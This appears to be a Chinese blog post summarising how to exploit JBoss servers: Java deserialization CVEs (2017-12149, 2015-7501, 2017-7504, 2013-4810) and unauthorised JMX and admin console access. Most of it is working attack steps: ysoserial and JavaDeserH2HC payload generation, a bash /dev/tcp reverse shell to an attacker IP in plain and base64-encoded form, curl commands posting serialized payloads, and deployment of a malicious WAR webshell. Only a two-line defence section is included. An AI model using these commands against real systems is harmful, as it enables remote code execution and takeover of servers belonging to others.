漏洞复现 :JBoss漏洞总结

反序列化

  1. 工具JavaDeserH2HC
    下载地址:joaomatosf/JavaDeserH2HC: Sample codes written for the Hackers to Hackers Conference magazine 2017 (H2HC). (github.com)

  2. 使用ysoseriall和CommonsCollections5来生成序列化数据
    下载地址:frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. (github.com)

  3. 一个是jboss全反序列化漏洞检测的,使用方法就不介绍了,全中文+图形界面
    下载地址:https://cdn.vulhub.org/deserialization/DeserializeExploit.jar

  4. JexBoss工具,可以用来检测弱口令和反序列化
    下载地址:joaomatosf/jexboss: JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitation Tool (github.com)

JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

该漏洞存在于http invoker组件的ReadOnlyAccessFilter的doFilter中,在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化

在这里插入图片描述

漏洞验证:

访问:8080/invoker/readonly,页面返回状态码500说明存在漏洞

在这里插入图片描述

使用JavaDeserH2HC攻击

使用工具JavaDeserH2HC
下载地址:joaomatosf/JavaDeserH2HC: Sample codes written for the Hackers to Hackers Conference magazine 2017 (H2HC). (github.com)

首先先设置监听

4
然后使用刚才下载的工具进行反弹shell

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java 
//生成序列化数据

ReverseShellCommonsCollectionsHashMap.ser java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 监听ip:端口 
//以二进制格式发送ReverseShellCommonsCollectionsHashMap.ser包 

curl http://靶机ip:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
注意:win主机.;  linux.:

这是可以看到反弹shell了
在这里插入图片描述

使用ysoserial反弹Shell

其实原理和上面的方法是一样的,就是生成一个序列化的数据然后发送报文,让其自动反序列化,只不过反弹的语句可控

将需要的反序列化命令通过网站加编码一次,网站地址:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)

命令

bash -i >& /dev/tcp/192.168.200.42/6969 0>&1 
序列化
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}

使用ysoseriall和CommonsCollections5来生成序列化数据,下载地址:frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. (github.com)

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}" > hack.ser

然后就会生成一个hack.ser在文件夹下,把里面的内容作为poc,使用curl命令上传内容,当然要先设置监听

curl http://192.168.200.42:8080/invoker/readonly --data-binary @hack.ser

在这里插入图片描述
最后针对此漏洞再推荐几个脚本:

yunxu1/jboss-_CVE-2017-12149: CVE-2017-12149 jboss反序列化 可回显 (github.com)

sevck/CVE-2017-12149: CVE-2017-12149 JBOSS as 6.X反序列化(反弹shell版) (github.com)

防护

  1. 删除http-invoker.sar组件,路径如下jboss-6.1.0.Final\server\default\deploy\http-invoker.sar

  2. 升级JBoss

JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)

原理其实和上面的差不多,流程也差不多

原理

JBoss中/invoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件支持反序列化。JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

影响版本

JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0

漏洞验证

访问:8080/invoker/JMXInvokerServlet,返回如下页面(下载文件),说明接口开放,此接口存在反序列化漏洞。设置好监听,用来接收shell

在这里插入图片描述
以下步骤和CVE-2017-12149步骤一样

Boss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

适用范围:

Jboss AS 4.x及之前版本

漏洞验证:

访问/jbossmq-httpil/HTTPServerILServlet,出现以下页面代表存在漏洞

在这里插入图片描述
利用步骤同上

JBoss EJBInvokerServlet 反序列化漏洞(CVE-2013-4810)

影响版本:
jboss 6.x 版本

漏洞验证:

访问/invoker/EJBInvokerServlet,如果如下图所示代表存在此漏洞

在这里插入图片描述
步骤同上

Jboss未授权访问漏洞合集

JBoss 4

在这里插入图片描述
打开控制台
在这里插入图片描述
密码文件:server/default/conf/props/jmx-console-users.properties
进入控制台后找到
在这里插入图片描述

打开后找到addurl栏,这里有两个栏,一个是java.net.url,另一个是java.net.string,似乎不管是那个都可以
在这里插入图片描述

打war包

jar -cvf war包 目标文件名

使用python启动一个http服务

python -m http.server

在这里插入图片描述
访问一下能够访问到
在这里插入图片描述

在这里插入图片描述

点击invoke后显示
在这里插入图片描述

返回之后可以看到部署的物理位置

在这里插入图片描述
在这里插入图片描述
访问一下可以访问到,证明已经上传成功

在这里插入图片描述

理论上如果成功上传后,在控制台页面的jboss.web.deployment会显示包

在这里插入图片描述
如果部署成功,就可以打开包页面,假设刚才上传的包名为shell.war,所以要打开:8080/shell/,然后就会看到包里面的内容,如果里面有一个名为hack.jsp的木马,那么我们就可以打开:8080/shell/hack.jsp,然后连接即可

Jboss6

流程和4差不多,只不过页面不一样了

搭建完后打开,同样打开JMX Cpnsole
密码文件路径:/server/default/conf/props/jbossws-users.properties
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
然后把页面拉到最下面,找到两个deploy的标签,在框内输入war包的地址,然后点击invoke
在这里插入图片描述
然后和jboss4一样访问页面即可

JBoss Administration Console

首先打开Administration Console
登入后打开Web Application (WAR) 页面,上传恶意WAR包

在这里插入图片描述
上传成功后查看一下上传的包是否正常开启,默认是正常开启

在这里插入图片描述
如果不开启则要手动开启

在这里插入图片描述
然后访问8080/hack/hack.jsp即可,路径为war内文件名

msf成功反弹shell

在这里插入图片描述

转载

漏洞复现 :JBoss漏洞总结

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值